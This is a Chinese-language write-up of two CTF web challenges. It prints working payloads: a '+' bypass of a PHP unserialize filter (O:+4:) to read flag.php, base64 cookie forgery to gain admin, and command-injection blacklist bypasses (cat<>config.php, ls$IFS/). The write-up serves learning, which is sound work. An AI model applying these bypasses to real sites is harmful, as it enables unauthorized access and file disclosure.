闲来无事想起安恒开了1月的周周练,就拿来练练手。

自己只做了web的部分。

Web1 easy

题目很直接的给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>

很明显的一个php反序列化漏洞,但是需要绕过/[oc]:\d+:/i这个条件,而我们对象序列化出来的必须是

1
O:num:"name":1:{...}

这么一个格式,逃不过这个正则的判断,也找到了php序列化的开头字母代表。

1
2
3
4
5
6
a - array                  b - boolean  
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

尝试用不同的字母绕过,比如说用R,但是试了一下不行。也参考了一下PHP string序列化与反序列化语法解析不一致带来的安全隐患,发现或许有什么序列化的小trick,也常使用科学计数法或者十六进制绕过,但是直接报错了。

然后发现了php反序列unserialize的一个小特性,可以在O:4:中间加入+,变成O:+4:这样,与原效果一致,主要原因就是因为php对+的词法解析是做了再看下一位判断。

所以这题只要加上+绕过就好了,记得用url编码就好。

1
2
3
?data=O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

?data=O%3A%2B4%3A"baby"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

得到flag

Web2 ezweb2

发现Cookie里有user=dXNlcg%3D%3D,base64解码得到user=user,尝试改为admin,直接进入到了admin.php的后台。

随便试了一下,发现是个命令执行。命令执行可以参考我上篇文章,巧用命令注入的N种方式

ls可以得到

随便fuzz了一下,发现可以用cat<>config.php直接读取文件,文件内容如下。

Config.php:

1
2
3
4
5
6
7
8
<?php
session_start();

function waf_exec($str){
$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
$str = preg_replace($black_str, "",$str);
return $str;
}

Admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
die("You are not admin...");
}
if (@$_POST['cmd']) {
$cmd = waf_exec($_POST['cmd']);
$retval = array();
exec($cmd, $retval, $status);
// var_dump($retval);
if ($status == 0) {
$res = implode("\n",$retval);
}else{
$res = 'error';
}
}else{
$res = '';
}

include './templates/admin.html';

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'config.php';
$userdata = @$_COOKIE['user'];

if (!$userdata) {
setcookie("user",base64_encode('user'));
$_SESSION['admin'] = false;
}else{
$user = base64_decode($userdata);
if ($user == 'admin') {
$_SESSION['admin'] = true;
header("Location: admin.php");
}
}

include './templates/index.html';

找了几个目录都找不到flag,看来应该要到列目录才可以,但是又过滤了空格,就没办法用ls ..这样,但是绕过空格的方法很多,我们这里直接用ls$IFS/绕过空格。

看到flag文件名字,直接读就好了。

总结

整体来说题目还是不错的。还是可以学到一点东西的。尤其是web1的小trick,对于在绕waf也有一定的作用。